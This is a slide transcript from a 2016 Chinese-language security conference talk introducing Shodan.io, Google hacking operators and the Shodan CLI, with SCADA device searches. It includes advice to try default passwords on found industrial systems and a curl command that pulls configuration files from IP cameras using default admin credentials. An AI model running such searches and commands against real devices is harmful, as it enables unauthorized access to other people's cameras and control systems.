第一次使用Shodan.io就上手
-
Upload
tony-lin -
Category
Engineering
-
view
1.136 -
download
4
Transcript of 第一次使用Shodan.io就上手
第一次使用shodan.io就上手
TonyLin@TDOHConf 2016(12.07)
自我介紹
交作業大學 電機系
業餘資安愛好者
Data Science for IoT
shodan.io是做什麼的?
給 黑客 玩耍的大平台 / 搜尋引擎
全名 Sentient Hyper-Optimized Data Access Network
2009年上線,掃描網路世界,爬取Banner
搜尋所有連接到網路上的裝置
攝影機、VoIP、電冰箱、風力發電廠…
用途一: 滲透測試 / 安全研究
1. Reconnaissance(偵查)
2. Scanning (掃描)
3. Gaining Access
4. Maintaining Access
5. Clearing Track
6. Reporting
自由軟體鑄造場_20121202_網路安全測試實務_翁浩正(Allen Own)
用途二: 市場調查
Apache vs Nginx在日本的市佔率?
某漏洞會影響世界上多少台機器?
有多少比例的人在管理後台使用預設帳密?
在紐約有多少台FTP允許匿名登入?
…
登入帳號,使用進階filter
創一個暫時的email帳號來註冊shodan10分鐘信箱 https://10minutemail.com/
在Explore可以找到一些熱門分類
Shodan Filters
• net: 搜尋特定IP網段• net:140.113.0.0/16
• country: 國家代碼• country:TW
• city: 城市• city:Taipei
• port:• port:3389
• os: 作業系統• os:"Windows XP"
• hostname: 網域• hostname:edu.tw
• org: 網路供應商(ISPs)• org:"Taiwan Academic Network"
• product: 產品/軟體• product:mongodb
• version: 版本• version:2.2.22
搜尋範例
1. 在TANet內開遠端桌面連線的機器
port:3389 org:"Taiwan Academic Network" has_screenshot:True
2.在北京開MongoDB的機器
product:MongoDB city:beijing
3. 在Windows XP開Apache的機器
apache os:"Windows XP"
產生Report
這邊要等一、兩小時
淺談SCADA系統
• 全名Supervisory Control And Data Acquisition• 資料採集與監控系統(廢水處理場、機場捷運中控)
分散式控制系統• Distributed Control Systems
可編程邏輯控制器• Programmable Logic Controllers
• RTU 遠程終端控制系統• Remote Terminal Units
• HMI 人機介面• Human-Machine Interfaces
長得大概像這樣
ICS (Industrial Control System)
~=
SCADA (Supervisory Control And Data Acquisition)
~=
DCS (Distributed Control System)
風力發電機
title:"xzeres wind"
法國施耐德電機
Schneider port:"80"
居然只能用IE開,這樣要我們怎麼教小孩?
一、丟廠商英文名字去找Schneider / Siemens / Advantech
二、先把預設帳密試一輪
https://github.com/scadastrangelove/SCADAPASS
介紹Google Hacking
https://www.exploit-db.com/google-hacking-database/
透過Google搜尋引擎
搜尋各種敏感資訊 / 錯誤頁面 / 潛在弱點
https://pentest-tools.com/information-gathering/google-hacking#
Google Hacking 常用 Operators• site: 搜尋特定Domain / IP• site:140.113.*.*
• filetype/ext: 特定檔案格式• ext:doc | ext:docx | ext:ppt | ext:pdf
• Intitle: 標題含有特定字串• intitle:index.of
• Intext: 文本含有特定內容• intext:"sql syntax near"
• - 去除不想看到的內容• -mirror
https://www.sans.org/security-resources/GoogleCheatSheet.pdf
Directory listing vulnerabilities
Publicly exposed documents
Shodan vs Google
https://www.exploit-db.com/docs/33859.pdf
更多Shodan?
Map & Image
Exploits
CLI
> pip install shodan> shodan init <API Key>> shodan count microsoft iis 6.0> shodan download ms-data microsoft iis 6.0> shodan parse --fields ip_str,port,org --separator , ms-data.json.gz
https://github.com/achillean/shodan-python
Chrome & Firefox Plugin
速度太慢,不是很推
Maltego Add-On
https://maltego.shodan.io/
營利模式
Export Credit: $5 / 10,000 results
一次買斷會員:$49黑色星期五特價 $5
開發者API Plan:$19 / 月
ScanHub: $9 / 月
Shodan最近太不穩了
請容許我以圖片DEMO…
1. J牌攝影機
搜尋到的裝置:41k預設帳密 admin / <blank>Bypass login內建Shell
2. A牌攝影機
搜尋到的裝置:155k+預設帳密:admin/admin
約有60%的裝置採用預設帳密 (59/100)
透過curl把config檔打包帶回家curl --cookie 'Cookie:SSID=YWRtaW46YWRtaW4=' -o system.txt http://<IP>/cgi-bin/supervisor/System.cgi?action=download&filename=System.bin
https://gist.github.com/tnlin/24916131d0038a91cbafa021ec936d16
3. RTSP (H牌攝影機)
rtsp://<IP>/<Path>
Thank You